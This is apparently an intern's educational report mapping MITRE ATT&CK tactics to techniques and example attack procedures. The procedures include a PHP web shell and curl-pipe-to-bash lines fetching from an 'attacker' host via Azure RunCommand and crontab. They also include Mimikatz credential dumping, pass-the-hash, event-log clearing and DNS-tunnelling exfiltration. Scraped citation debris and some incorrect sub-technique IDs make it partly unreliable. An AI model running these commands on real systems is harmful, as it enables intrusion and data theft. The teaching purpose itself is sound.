POC of Threat Intelligence

Name : Ankita Laxman Kolapte

Intern ID: 270

What is Threat Intelligence:

Threat Intelligence is the process of gathering, analyzing, and using information about current and potential cyber threats to prevent, detect, and respond to cyberattacks effectively. It provides contextual insights about attackers, their tools, their behavior (TTPs), and their motives, so that security teams can make informed decisions to protect systems, networks, and data.

Broadly:

Tactic : Why the attacker is doing something (objective).

Technique : How the attacker is doing it (method).

Sub-technique : More specific 'how'

Procedure : Real-life example of that technique in action.

Enterprise (MITRE ATT&CK Enterprise Matrix)

1.Reconnaissance(TA0043):

Description: The adversary is trying to gather information they can use to plan future operations.

Technique 1: T1595 – Active Scanning

📖 MITRE ATT&CK Technique Reference

Description:
Adversaries scan victim systems or networks for open ports, services, or vulnerabilities using automated tools like Nmap, Nessus, or Masscan.

Sub-techniques:

T1595.001 – Scanning IP Blocks: Sweep IP ranges to identify live hosts.

T1595.002 – Vulnerability Scanning: Look for known CVEs or exploitable software versions.

Technique 2: T1598 – Phishing for Information

📖 MITRE ATT&CK Technique Reference

Description:
Adversaries trick users into revealing sensitive details by posing as legitimate sources over email, phone (vishing), or fake websites.

Sub-techniques:

T1598.001 – Spearphishing Service: Targeted emails requesting login credentials or internal data.

T1598.002 – Voice Phishing (Vishing): Calling helpdesk or employees to obtain sensitive info.

Technique 3: T1589 – Gather Victim Identity Information

📖 MITRE ATT&CK Technique Reference

Description:
Adversaries collect information like usernames, email addresses, or social media profiles that can be used for further social engineering or credential attacks.

Sub-techniques:

T1589.001 – Email Addresses

T1589.002 – Employee Names

T1589.003 – Social Media Profiles

Procedure 1: Active Scanning using Nmap and Masscan

Objective: Identify publicly exposed ports and services on a target organization’s subnet.

Steps:

Attacker uses **Masscan** to rapidly scan a large IP range:

bash

CopyEdit

masscan -p80,443,22,3389 192.0.2.0/24 --rate=1000

Follow-up scan with **Nmap** for detailed service enumeration:

bash

CopyEdit

nmap -A -p 22,80,443,3389 192.0.2.10

Discovers an outdated Apache server running on port 80 with a known RCE vulnerability.

Outcome:
Attacker now knows the IP and port of a vulnerable service they can exploit using an Initial Access technique (e.g., T1190 – Exploit Public-Facing Application).

Procedure 2: Phishing for Information via LinkedIn and Email

Objective: Collect employee email addresses and internal application usage.

Steps:

Attacker scrapes LinkedIn to gather names, roles, and company structure.

Constructs email addresses in bulk using common naming formats (e.g., firstname.lastname@company.com).

Sends spearphishing emails posing as IT asking employees to "confirm access to the new Microsoft Teams dashboard":

makefile

CopyEdit

Subject: Teams Migration – Action Required

Link: https://microsoft-teams-support[.]info

Fake login page captures credentials.

Outcome:
Attacker gathers verified email-password pairs to use for credential stuffing or access Microsoft 365 environments.

2.TA0042 – Resource Development:

Description: The adversary is trying to establish resources they can use to support operations.

Technique 1: T1583 – Acquire Infrastructure

MITRE ATT&CK Technique Reference: T1583 – Acquire Infrastructure

Description:
Adversaries buy, lease, rent, or obtain infrastructure to support malicious operations—such as servers, domains, virtual private servers (VPS), DNS servers, botnets, web services, or serverless functions.

Sub-techniques:

T1583.001 – Domains: Register look-alike domains for phishing or hosting.

T1583.003 – Virtual Private Server (VPS): Rent cloud-based VMs to host malware or command infrastructure.

T1583.006 – Web Services: Use services like GitHub, Dropbox, Pastebin for content hosting or C2 distribution. **MITRE ATT&CK+14MITRE ATT&CK+14redteam.y-security.de+14cyber-kill-chain.ch**

Technique 2: T1585 – Establish Accounts

MITRE ATT&CK Technique Reference: T1585 – Establish Accounts

Description:
Adversaries create new accounts on platforms such as social media, email, or cloud services. These can support persona development, phishing, or hosting infrastructure operations.

Sub-techniques:

T1585.001 – Social Media Accounts

T1585.002 – Email Accounts

T1585.003 – Cloud Accounts **MITRE ATT&CK+1NETSCOUT+1**

Technique 3: T1650 – Acquire Access

MITRE ATT&CK Technique Reference: T1650 – Acquire Access

Description:
Adversaries may purchase or otherwise acquire access to systems and networks, often via initial access brokers, underground marketplaces, or collusion with other threat groups, to create operational footholds without deploying malware themselves. **redteam.y-security.de**

Procedure 1: Domain and VPS Acquisition by APT28

Objective: Set up infrastructure for phishing and C2.

Steps:

Register domain mimicking legitimate sites (e.g., security-support.com).

Obtain SSL certificate.

Rent a VPS to host phishing pages and malware.

Outcome: Infrastructure used for spearphishing and remote access campaigns. **Reddit+9redteam.y-security.de+9rootguard.gitbook.io+9**

Procedure 2: Persona Account Creation by APT17 (via Social Media and Forums)

Objective: Create credible online personas.

Steps:

Establish LinkedIn/TechNet profiles with real-looking profiles and activity.

Create email accounts aligned with persona.

Use these accounts to interact with targets or publish malicious content.

Outcome: Fake but convincing identities used in spearphishing and social engineering.

3.Tactic: TA0001 – Initial Access:

The adversary is trying to get into your network.
📚 MITRE ATT&CK Reference: TA0001 (Enterprise)

Technique 1: T1566 – Phishing

MITRE ATT&CK Technique Reference: T1566 – Phishing

Description:
Adversaries send deceptive emails or messages containing malicious links or attachments to trick users into executing malware or revealing credentials.

Sub-techniques:

T1566.001 **– Spearphishing Attachment**: Attachments (e.g. doc, PDF) with malicious macros or embedded executables.

T1566.002 **– Spearphishing Link**: Emails with links leading to credential phish or malware downloads.

T1566.003 **– Spearphishing via Service**: Using third-party services (like social media or cloud sharing) to deliver the phishing payload.

Technique 2: T1190 – Exploit Public-Facing Application

MITRE ATT&CK Technique Reference: T1190 – Exploit Public-Facing Application

Description:
Attackers exploit vulnerabilities in externally exposed web servers, applications, APIs, or services to execute malicious actions like code execution, file upload, or command injection.

Sub-techniques:

None specified, but may involve leveraging CVEs (e.g. old WordPress plugins, unpatched Apache Struts, or SSH zero-days).

Technique 3: T1078 – Valid Accounts

📖 MITRE ATT&CK Technique Reference: T1078 – Valid Accounts

Description:
Once attackers have stolen credentials (via phishing, credential stuffing, or breaches), they use these legitimate accounts to gain entry and bypass security.

Sub-techniques:

T1078.001 – Default Accounts

T1078.002 – Domain Accounts

T1078.003 – Local Accounts

Procedure 1: Spearphishing Link to Gain Credentials

Objective: Obtain valid login credentials via social engineering.

Steps:

Attacker sends an email to targeted employee:

makefile

CopyEdit

Subject: Urgent: Verify your Teams account access

Link: https://microsoft-support-secured[.]com

Victim clicks link, sees fake Microsoft Teams login page.

Victim enters credentials, which are captured.

Outcome:
Attacker now has valid credentials to log into the corporate environment. Used in many APT phishing campaigns targeting government and enterprise users.

Procedure 2: Exploiting a Vulnerable Web Application

Objective: Achieve remote execution through public-facing infrastructure.

Steps:

Attacker scans public IPs to identify servers running outdated WordPress or remote file upload functionality.

Uploads malicious PHP shell via vulnerable plugin:

php

CopyEdit

POST /wp-content/plugins/upload.php

payload: <?php system($_GET['cmd']); ?>

Attacker accesses shell:

bash

CopyEdit

http://example.com/upload/shell.php?cmd=whoami

Outcome:
Attacker gains a foothold on the server and can move laterally into internal networks—often seen in web compromise attacks.

4. Tactic: TA0002 – Execution:

The adversary is trying to run malicious code.
MITRE ATT&CK Reference: TA0002 (Enterprise) Reddit+13MITRE ATT&CK+13athena.cycraft.ai+13

Technique 1: T1059 – Command and Scripting Interpreter

MITRE ATT&CK Technique Reference: T1059 – Command and Scripting Interpreter MITRE ATT&CK+1athena.cycraft.ai+1

Description:
Adversaries use interpreters like PowerShell, Bash, CMD, or Python to execute commands, scripts, or binaries on compromised systems.

Sub-techniques:

T1059.001 **– PowerShell**: Using PowerShell to download, decode, or run malicious payloads.

T1059.002 **– AppleScript**: Leveraging AppleScript on macOS for automation or execution. Reddit+15MITRE ATT&CK+15athena.cycraft.ai+15DFIR Global

Technique 2: T1651 – Cloud Administration Command

MITRE ATT&CK Technique Reference: T1651 – Cloud Administration Command Reddit+15MITRE ATT&CK+15NETSCOUT+15

Description:
Abusing cloud orchestration tools or APIs—such as Azure RunCommand, AWS Systems Manager, or cloud Runbooks—to execute scripts or binaries within virtual machines.

Technique 3: T1204 – User Execution

MITRE ATT&CK Technique Reference: T1204 – User Execution community.f5.com+2MITRE ATT&CK+2athena.cycraft.ai+2Reddit

Description:
Convincing a user to execute malicious code, via attachments, documents, or embedded executables—e.g. macro-enabled Word docs or malicious PDFs.

Procedure 1: PowerShell Payload Delivery via Email Attachment

Objective: Execute malicious script on target endpoint.

Steps:

Victim opens Office document with embedded macro.

Macro triggers:

powershell

CopyEdit

powershell.exe -EncodedCommand <base64payload>

PowerShell runs payload silently in memory, downloads malware, and executes.

Outcome:
Malware executed through system scripting—led to backdoor install via PowerShell. Common in many phishing campaigns. Reddit+2MITRE ATT&CK+2Reddit+2Reddit

Procedure 2: Remote Execution via Azure RunCommand

Objective: Run attacker-defined script on cloud VM without local user interaction.

Steps:

Use stolen Azure credentials or APIs.

Invoke RunCommand to deploy and execute:

bash

CopyEdit

az vm run-command invoke --command-id RunShellScript --scripts "curl http://attacker/payload.sh | bash"

Script downloads and runs remote malware.

Outcome:
Remote execution achieved via legitimate cloud services. Enables stealthy malware deployment.

5. Tactic: TA0003 – Persistence:

The adversary is trying to maintain their foothold.
MITRE ATT&CK Reference: TA0003 (Enterprise) athena.cycraft.ai+1MITRE ATT&CK+1Reddit+4Reddit+4Reddit+4community.f5.com+7MITRE ATT&CK+7athena.cycraft.ai+7

Technique 1: T1053 – Scheduled Task/Job

MITRE ATT&CK Technique Reference: T1053 – Scheduled Task/Job DFIR Global+6community.f5.com+6athena.cycraft.ai+6

Description:
Adversaries schedule tasks using utilities like Windows Task Scheduler, cron (Linux), launchd (macOS), systemd timers, or container orchestration jobs to run malware persistently.

Technique 2: T1547 – Boot or Logon Autostart Execution

MITRE ATT&CK Technique Reference: T1547 – Boot or Logon Autostart Execution Picus Security+5NETSCOUT+5community.f5.com+5

Description:
Set malware to run automatically at system startup/logon via registry Run keys, startup folder, login scripts, or launch agents.

Technique 3: T1136 – Create Account / T1098 Account Manipulation

MITRE ATT&CK Technique References: T1136 – Create Account & T1098 – Account Manipulation NETSCOUT

Description:
Adversaries modify existing user accounts or create new accounts (local or domain) as backdoors for long-term access.

Procedure 1: Schedule Task via schtasks.exe

Objective: Run malware daily without user intervention.

Steps:

powershell

CopyEdit

schtasks /create /tn "Updater" /tr "C:\malware\update.ps1" /sc daily /st 06:00

Task triggers at scheduled time, launching script.

Outcome:
Automated execution despite system reboots or logins. Common in Quakbot and other malware. NETSCOUTathena.cycraft.ai+1Reddit+1Picus Security

Procedure 2: Linux Cron Job Persistence

Objective: Ensure script execution across reboots on Linux servers.

Steps:

bash

CopyEdit

echo "@reboot /usr/bin/curl http://attacker/script.sh | bash" >> /etc/crontab

Outcome:
Script runs at each reboot, reestablishing backdoor. Used in mining botnets and stealth persistence.

6.Tactic: TA0004 – Privilege Escalation:

The adversary is trying to gain higher-level permissions.
MITRE ATT&CK Reference: TA0004 (Enterprise) (attack.mitre.org)

Technique 1: T1078 – Valid Accounts

MITRE ATT&CK Technique Reference: T1078 – Valid Accounts (attack.mitre.org)

Description:
Adversaries use stolen or brute-forced credentials to escalate privileges or access restricted areas of the network by leveraging legitimate accounts (e.g., admin, service accounts).

Sub-techniques:

T1078.001 **– Local Accounts**: Using compromised local administrator accounts for escalation.

T1078.002 **– Domain Accounts**: Gaining access to domain accounts to escalate in Active Directory.

Technique 2: T1134 – Access Token Manipulation

MITRE ATT&CK Technique Reference: T1134 – Access Token Manipulation (attack.mitre.org)

Description:
Adversaries manipulate access tokens to impersonate users or processes with higher privileges, enabling them to execute malicious activities at elevated levels.

Sub-techniques:

T1134.001 **– Token Impersonation**: Using a valid token from a higher-privileged user.

T1134.002 **– Token Creation**: Creating a new access token for a privileged user.

Technique 3: T1068 – Exploitation for Privilege Escalation

MITRE ATT&CK Technique Reference: T1068 – Exploitation for Privilege Escalation (attack.mitre.org)

Description:
Adversaries exploit known vulnerabilities in software or operating systems to elevate their privileges. Common targets include unpatched OS components or poorly configured applications.

Sub-techniques:

T1068.001 **– Exploiting Kernel Vulnerabilities**: Gaining escalated privileges via kernel exploits.

T1068.002 **– Exploiting Application Vulnerabilities**: Elevating privileges via exploitable applications or services.

Procedure 1: Brute Forcing Local Admin Account Using CrackMapExec

Objective: Gain local administrator access through brute-force attack.

Steps:

Attacker uses **CrackMapExec** to attempt brute-forcing common admin passwords on a target machine:

bash

CopyEdit

crackmapexec smb <target_IP> -u Administrator -p <password_list.txt> --verbose

Once a password is found, attacker logs in with admin privileges.

Outcome:
The attacker gains full administrative control over the target machine by guessing the correct local admin password.

Procedure 2: Access Token Impersonation Using Mimikatz

Objective: Elevate privileges by impersonating a higher-privileged user.

Steps:

Attacker runs **Mimikatz** to dump credentials from LSASS memory:

powershell

CopyEdit

mimikatz.exe "sekurlsa::logonPasswords"

The attacker selects a high-privilege user's token and impersonates them:

powershell

CopyEdit

mimikatz.exe "token::elevate /user:administrator"

Once impersonated, attacker performs actions at admin level.

Outcome:
Using **Mimikatz** to elevate privileges and execute malicious tasks without needing a full system exploit.

7.Tactic: TA0005 – Defense Evasion:

The adversary is trying to avoid being detected.
MITRE ATT&CK Reference: TA0005 (Enterprise) (attack.mitre.org)

Technique 1: T1070 – Indicator Removal on Host

MITRE ATT&CK Technique Reference: T1070 – Indicator Removal on Host (attack.mitre.org)

Description:
Adversaries remove or alter indicators of compromise (IOCs) from a compromised host to evade detection by anti-virus tools, forensic investigators, or intrusion detection systems.

Sub-techniques:

T1070.001 **– File Deletion**: Deleting files such as logs or malware remnants.

T1070.002 **– Timestomping**: Manipulating file timestamps to hide evidence.

T1070.003 **– Clear Event Logs**: Deleting or clearing event logs to remove traces of activities.

Technique 2: T1027 – Obfuscated Files or Information

MITRE ATT&CK Technique Reference: T1027 – Obfuscated Files or Information (attack.mitre.org)

Description:
Adversaries obfuscate malicious files or information to avoid detection by security tools or analysts. This can include encoding, packing, or using anti-analysis techniques on the payload.

Sub-techniques:

T1027.001 **– Software Packing**: Compressing files or using packing techniques to disguise content.

T1027.002 **– Code Obfuscation**: Altering code to make it harder to analyze.

Technique 3: T1562 – Impair Defenses

MITRE ATT&CK Technique Reference: T1562 – Impair Defenses (attack.mitre.org)

Description:
Adversaries disable, bypass, or modify security software (e.g., anti-virus, EDR tools, firewalls) to avoid detection or impede response efforts.

Sub-techniques:

T1562.001 **– Disable or Modify Tools**: Disabling security products or modifying their configuration to make them ineffective.

T1562.002 **– Subvert Trust Controls**: Bypassing or disabling security controls designed to maintain system integrity.

Procedure 1: Deleting Malware Artifacts Using PowerShell

Objective: Remove evidence of malware to avoid detection.

Steps:

Attacker runs PowerShell to remove the malware payload:

powershell

CopyEdit

Remove-Item -Path "C:\Malware\payload.exe" -Force

Attacker deletes event logs:

powershell

CopyEdit

wevtutil cl Security

Outcome:
Malware files and event logs are deleted, making it difficult for defenders to detect or track the intrusion.

Procedure 2: Obfuscating Malicious Payload Using UPX

Objective: Make malicious payload harder to detect by security scanners.

Steps:

Attacker uses **UPX** to pack the malicious executable:

bash

CopyEdit

upx --best --lzma payload.exe

UPX compresses the payload into an obfuscated form that evades basic antivirus detection.

Outcome:
Packed payload goes undetected by signature-based antivirus systems and can be executed without triggering alarms.

8. Tactic: TA0006 – Credential Access:

The adversary is trying to steal account names and passwords.

📚 MITRE ATT&CK Reference: TA0006 (Enterprise)

Common techniques to obtain credentials which include methods:

1. Keylogging: refers to capturing the actual keystrokes which are entered by the users, including username and password.
2. Credential dumping: refers to the extraction of credentials from operating system memory, registry or other credential storage locations

Personally, while learning we have a thought about gaining access to usernames or probably logging into accounts via stealing the saved cookies.

Technique 1: T1003 – OS Credential Dumping

📖 MITRE ATT&CK Technique Reference: T1003 – OS Credential Dumping
Description:

Adversaries try to dump credentials to obtain account reference details that is account username and passwords either in hash format or in actual text. Usually this information is obtained from operating system registry or any 3rd party software (even some extensions of web browsers can save this information. That's why its recommended to use trusted extensions only.

Sub-techniques:

- T1003.001 **– LSASS Memory**: The credentials are usually accessed form LSASS that is (Local Security Authority Subsystem Service
- T1003.002 **– Security Account Manager:** Extracting credential material from the SAM database
- T1003.003 **– NTDS:** Accessing or creating a copy of the Active Directory domain database

Technique 2: T1110 – Brute Force

📖 MITRE ATT&CK Technique Reference: T1110 – Brute Force
Description:
Adversaries may use Brute force method, that is trying randomly generated passwords/ or the ones saved in premade txt files, like the built in rockyou.txt which we can find in kali Linux. Via this method the adversary tries to get the password when he/she has access to the username of a user.

Sub-techniques:

- T1110.001 **– Password Guessing:** Adversary tries to use his/her gathered information about a user and try to guess his/her password.
- T1110.002 **– Password Cracking:** Use of brute force via the use of premade txt files with many saved passwords from breaches that happened in the past.
- T1110.003 **– Password Spraying:** Attempts to guess the password from the use of common sense. Good if it actually is.

Technique 3: T1056 – Input Capture

📖 MITRE ATT&CK Technique Reference: T1056 – Input Capture

Description:
Adversaries may use methods of capturing user input to obtain credentials or collect information. This can include keylogging, capturing GUI input, or monitoring web portals.

Sub-techniques:

- T1056.001 **– Keylogging:** Recording user keystrokes to intercept credentials
- T1056.002 **– GUI Input Capture:** Mimicking legitimate prompts to capture credentials
- T1056.004 **– Credential API Hooking:** Hooking into API functions to collect credentials

Procedure 1: Mimikatz LSASS Memory Dump

Objective: Extract plaintext passwords and hashes from LSASS process memory.
Steps:

1. Attacker gains administrative privileges on target system
2. Executes Mimikatz to dump LSASS memory:

```
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
```

3. Extracts NTLM hashes and plaintext passwords from memory
4. Uses credentials for lateral movement or privilege escalation

Outcome:
Attacker obtains valid credentials for multiple users, enabling further network compromise and lateral movement [3][4][8].

Procedure 2: Password Spraying Attack Using CrackMapExec

Objective: Gain access to multiple accounts using common passwords.
Steps:

1. Attacker enumerates domain user accounts via LDAP queries
2. Creates list of common passwords (Password123!, Summer2024, etc.)
3. Executes password spraying campaign:

```
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-
on-success
```

4. Identifies accounts with weak passwords
5. Uses valid credentials for initial access

Outcome:
Attacker successfully compromises multiple user accounts without triggering account lockout policies, providing multiple entry points into the network.

9. Tactic: TA0007 – Discovery:

The adversary is trying to figure out your environment.
📚 MITRE ATT&CK Reference: TA0007 (Enterprise)

Technique 1: T1087 – Account Discovery

📖 MITRE ATT&CK Technique Reference: T1087 – Account Discovery

Description:
Adversaries here try to gather details such as usernames or email addresses mentioned in a system, within a compromised environment. This helps them to analyze and processes further.

Sub-techniques:

- T1087.001 **– Local Account:** Getting the list of Operating system users.
- T1087.002 **– Domain Account:** Getting domain users details.
- T1087.003 **– Email Account:** Email information gathering.

Technique 2: T1082 – System Information Discovery

📖 MITRE ATT&CK Technique Reference: T1082 – System Information Discovery

Description:
An adversary may attempt to get detailed information about the operating system and hardware, and architecture.

Sub-techniques:

- Not specified, but includes gathering OS version, installed software, system architecture, and hardware specifications

Technique 3: T1018 – Remote System Discovery

📖 MITRE ATT&CK Technique Reference: T1018 – Remote System Discovery

Description:
Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for lateral movement.

Sub-techniques:

- Various methods including ping sweeps, ARP scans, and network enumeration tools

Procedure 1: Domain Account Enumeration Using Net Commands

Objective: Enumerate domain users and groups for targeting high-privilege accounts.
Steps:

1. Attacker executes domain user enumeration:

```
net user /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
```

2. Identifies service accounts and administrative users
3. Maps organizational structure through group memberships
4. Targets specific high-value accounts for credential theft

Outcome:
Attacker gains comprehensive understanding of domain structure and identifies priority targets for further exploitation.

Procedure 2: Network Discovery Using PowerShell and Native Tools

Objective: Map internal network topology and identify potential lateral movement targets.
Steps:

1. Performs network discovery using built-in tools:

```
Get-NetNeighbor | Where-Object {$_.State -eq "Reachable"}
Get-NetRoute | Where-Object {$_.RouteMetric -eq 0}
```

2. Conducts ping sweep of internal subnets:

```
for /L %i in (1,1,254) do @ping -n 1 -w 200 192.168.1.%i > nul && echo
192.168.1.%i is alive
```

3. Identifies active hosts and network segments
4. Plans lateral movement paths through the network

Outcome:
Attacker creates detailed network map showing potential targets and pathways for lateral movement within the compromised environment.

10. Tactic: TA0008 – Lateral Movement:

The adversary is trying to move through your environment.
📎 MITRE ATT&CK Reference: TA0008 (Enterprise)

Here Adversaries try to gain remote access to a system in a network, and maintaining the access for future references. Which from a Adversaries perspective is the most important work. While maintaining this access he/she can exploit the system according to their needs and can harm the user to great extent.

Technique 1: T1021 – Remote Services

📖 MITRE ATT&CK Technique Reference: T1021 – Remote Services

Description:
Adversaries may use valid accounts to log into a service specifically designed to accept remote connections, such as telnet, SSH (secure shell), RDP (Remote Desktop Protocol), or VNC (Virtual Network Computing). These services are commonly used for remote access and administration.

Sub-techniques:

- T1021.001 **– Remote Desktop Protocol:** Using RDP for lateral movement
- T1021.002 **– SMB/Windows Admin Shares:** Accessing remote systems via SMB shares
- T1021.004 **– SSH:** Using SSH for remote access on Unix/Linux systems

Technique 2: T1550 – Use Alternate Authentication Material

📖 MITRE ATT&CK Technique Reference: T1550 – Use Alternate Authentication Material

Description:
Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, or application access tokens, instead of their plaintext passwords to move laterally within an environment.

Sub-techniques:

- T1550.002 **– Pass the Hash:** Using NTLM hashes for authentication
- T1550.003 **– Pass the Ticket:** Using Kerberos tickets for authentication

Technique 3: T1072 – Software Deployment Tools

📖 MITRE ATT&CK Technique Reference: T1072 – Software Deployment Tools

Description:
Adversaries may gain access to and use third-party software suites installed within an enterprise network, including administration, monitoring, and deployment systems.

Sub-techniques:

- Various enterprise tools like SCCM, PSExec, or Windows Admin Center can be abused

Procedure 1: RDP Lateral Movement with Stolen Credentials

Objective: Move laterally through network using compromised administrator credentials.

Steps:

1. Attacker uses previously obtained domain admin credentials
2. Enables RDP on target systems:

```
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
```

3. Connects to multiple systems via RDP:

```
mstsc /v:192.168.1.50 /admin
```

4. Establishes persistent access on each compromised system
5. Continues lateral movement to high-value targets

Outcome:
Attacker successfully moves laterally across multiple systems in the network, maintaining stealth while accessing critical servers and workstations.

Procedure 2: Pass-the-Hash Attack Using CrackMapExec

Objective: Authenticate to remote systems using dumped NTLM hashes without cracking passwords.
Steps:

1. Attacker extracts NTLM hashes from compromised system using Mimikatz
2. Uses hashes for lateral movement:

```
crackmapexec smb 192.168.1.0/24 -u Administrator -H
aad3b435b51404eeaad3b435b51404ee:5fbc3d5fec8206a30f4b6c473d68ae76
```

3. Executes commands on remote systems:

```
crackmapexec smb 192.168.1.50 -u Administrator -H hash_value -x "whoami"
```

4. Deploys additional payloads on compromised systems

Outcome:
Attacker successfully authenticates to multiple systems using hash values, bypassing the need for plaintext passwords and expanding network access.

11. Tactic: TA0009 – Collection:

The adversary is trying to gather data of interest to their goal.
📚 MITRE ATT&CK Reference: TA0009 (Enterprise)

In short, Data Gathering to its fullest, utilizing man-in-the-middle attacks or via a network hijacking session, gaining access to initial data, and utilizing it to gain even more data about the user comes under this scheme.

Technique 1: T1005 – Data from Local System

📖 MITRE ATT&CK Technique Reference: T1005 – Data from Local System
Description:
Adversaries may search local system sources, such as file systems and

configuration files or local databases, to find files of interest and sensitive data prior to exfiltration.

Sub-techniques:

- Various file types including documents, databases, configuration files, and user data

Technique 2: T1056 – Input Capture

📖 MITRE ATT&CK Technique Reference: T1056 – Input Capture
Description:
Adversaries may use methods of capturing user input to obtain credentials or collect information, including keylogging and capturing screenshots of user activities.

Sub-techniques:

- T1056.001 **– Keylogging:** Recording keystrokes to capture credentials and sensitive input
- T1056.002 **– GUI Input Capture:** Capturing GUI elements and user interactions

Technique 3: T1114 – Email Collection

📖 MITRE ATT&CK Technique Reference: T1114 – Email Collection
Description:
Adversaries may target user email to collect sensitive information from email repositories, including local email files and remote email servers.

Sub-techniques:

- T1114.001 **– Local Email Collection:** Accessing locally stored email files
- T1114.002 **– Remote Email Collection:** Accessing cloud-based email services

Procedure 1: Automated File Collection Using PowerShell

Objective: Systematically collect sensitive documents from compromised workstations.
Steps:

1. Attacker deploys PowerShell script for file enumeration:

```
Get-ChildItem -Path "C:\Users" -Include *.docx,*.xlsx,*.pdf,*.txt -Recurse
| Where-Object {$_.Length -gt 0} | Copy-Item -Destination
"C:\temp\collected\"
```

2. Searches for files containing sensitive keywords:

```
Select-String -Path "C:\temp\collected\*" -Pattern
"confidential|password|ssn|credit card" -List
```

3. Stages collected files for exfiltration
4. Compresses files to reduce detection:

```
Compress-Archive -Path "C:\temp\collected\*" -DestinationPath
"C:\temp\data.zip"
```

Outcome:
Attacker successfully collects and stages sensitive documents from multiple user directories, preparing data for exfiltration.

Procedure 2: Keylogger Deployment for Credential Harvesting

Objective: Capture user credentials and sensitive input through keylogging.
Steps:

1. Attacker deploys keylogger malware on target system
2. Configures keylogger to capture all keystrokes:

```
import pynput
from pynput.keyboard import Key, Listener

def on_press(key):
    with open("keylog.txt", "a") as f:
        f.write(str(key))
```

3. Monitors captured keystrokes for credentials and sensitive data
4. Filters logs for login credentials, credit card numbers, and other valuable information
5. Transmits captured data to command-and-control server

Outcome:
Attacker captures user credentials, banking information, and other sensitive data typed by users, enabling further compromise and data theft.

12. Tactic: TA0011 – Command and Control:

The adversary is trying to communicate with compromised systems to control them.
📚 MITRE ATT&CK Reference: TA0011 (Enterprise)

Technique 1: T1071 – Application Layer Protocol

📖 MITRE ATT&CK Technique Reference: T1071 – Application Layer Protocol
Description:
Adversaries may communicate using application layer protocols to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic.

Sub-techniques:

- T10701.001 **– Web Protocols:** Using HTTP/HTTPS for C2 communication
- T1071.004 **– DNS:** Using DNS queries and responses for C2

Technique 2: T1573 – Encrypted Channel

📖 MITRE ATT&CK Technique Reference: T1573 – Encrypted Channel
Description:
Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.

Sub-techniques:

- T1573.001 **– Symmetric Cryptography:** Using symmetric encryption for C2
- T1573.002 **– Asymmetric Cryptography:** Using asymmetric encryption for C2

Technique 3: T1090 – Proxy

📖 MITRE ATT&CK Technique Reference: T1090 – Proxy
Description:
Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server.

Sub-techniques:

- T1090.002 – External Proxy: Using external proxy services
- T1090.003 – Multi-hop Proxy: Using multiple proxy layers

1: HTTPS C2 Communication Using Cobalt Strike

Objective: Establish covert command and control channel disguised as legitimate web traffic.
Steps:

1. Attacker sets up Cobalt Strike team server with valid SSL certificate

2. Configures malleable C2 profile to mimic legitimate traffic:

```
http-get {
    set uri "/jquery-3.3.1.min.js";
    client {
        header "Accept" "text/javascript, */*; q=0.01";
    }
}
```

3. Deploys beacon payload on compromised systems
4. Beacon communicates with team server over HTTPS on port 443
5. Commands are embedded in HTTP responses disguised as JavaScript

Outcome:
Attacker maintains persistent command and control channel that appears as legitimate web traffic, evading network monitoring and DLP solutions.

Procedure 2: DNS Tunneling for Covert Data Exfiltration

Objective: Use DNS queries to establish covert communication channel for data exfiltration.
Steps:

1. Attacker registers domain for DNS tunneling (e.g., tunnel.malicious.com)
2. Sets up DNS server to handle subdomain queries
3. Deploys DNS tunneling client on compromised system:

```
echo "sensitive_data_chunk1" | base64 | xxd -p | tr -d '\n' | sed
's/../&./g' | sed 's/.$//'
```

4. Exfiltrates data through DNS queries:

```
nslookup 73656e736974697665.tunnel.malicious.com
```

5. Receives data on attacker-controlled DNS server

Outcome:
Attacker successfully exfiltrates sensitive data through DNS queries, bypassing traditional network security controls that focus on HTTP/HTTPS traffic.

13. Tactic: TA0010 – Exfiltration:

The adversary is trying to steal data.
📚 MITRE ATT&CK Reference: TA0010 (Enterprise)

Technique 1: T1041 – Exfiltration Over C2 Channel

📖 MITRE ATT&CK Technique Reference: T1041 – Exfiltration Over C2 Channel
Description:
Adversaries may steal data by exfiltrating it over an existing command and control channel. This allows them to blend exfiltration traffic with their C2 communications.

Sub-techniques:

- Data is typically compressed and encrypted before transmission

Technique 2: T1567 – Exfiltration Over Web Service

📖 MITRE ATT&CK Technique Reference: T1567 – Exfiltration Over Web Service
Description:
Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.

Sub-techniques:

- T1567.002 **– Exfiltration to Cloud Storage**: Using services like Dropbox, Google Drive

Technique 3: T1048 – Exfiltration Over Alternative Protocol

📖 MITRE ATT&CK Technique Reference: T1048 – Exfiltration Over Alternative Protocol
Description:
Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel.

Sub-techniques:

- T1048.003 **– Exfiltration Over Unencrypted Non-C2 Protocol: Using** protocols like FTP, SMTP

Procedure 1: Data Exfiltration via Legitimate Cloud Services

Objective: Exfiltrate sensitive corporate data using legitimate cloud storage services.
Steps:

1. Attacker creates accounts on multiple cloud storage services (Dropbox, Google Drive, OneDrive)
2. Installs legitimate cloud sync clients on compromised systems
3. Compresses and encrypts collected data:

```
Compress-Archive -Path "C:\collected_data\*" -DestinationPath
"backup_files.zip"
```

4. Uploads encrypted archives to cloud storage services
5. Data appears as legitimate backup activity to network monitors

Outcome:
Attacker successfully exfiltrates gigabytes of sensitive data through legitimate cloud services, evading DLP systems focused on monitoring unauthorized protocols.

Procedure 2: Email-Based Data Exfiltration

Objective: Exfiltrate data through compromised email accounts to avoid detection.
Steps:

1. Attacker gains access to legitimate email accounts within organization
2. Creates automated script to send data via email:

```
import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart

msg = MIMEMultipart()
msg['Subject'] = 'Monthly Report - Confidential'
# Attach encrypted data files
```

3. Sends data to external email addresses controlled by attacker
4. Uses legitimate email subjects and recipients to avoid suspicion
5. Splits large files across multiple emails to stay under size limits

Outcome:
Attacker exfiltrates sensitive data through legitimate email channels, appearing as normal business communications to security monitoring systems.

14. Tactic: TA0040 – Impact:

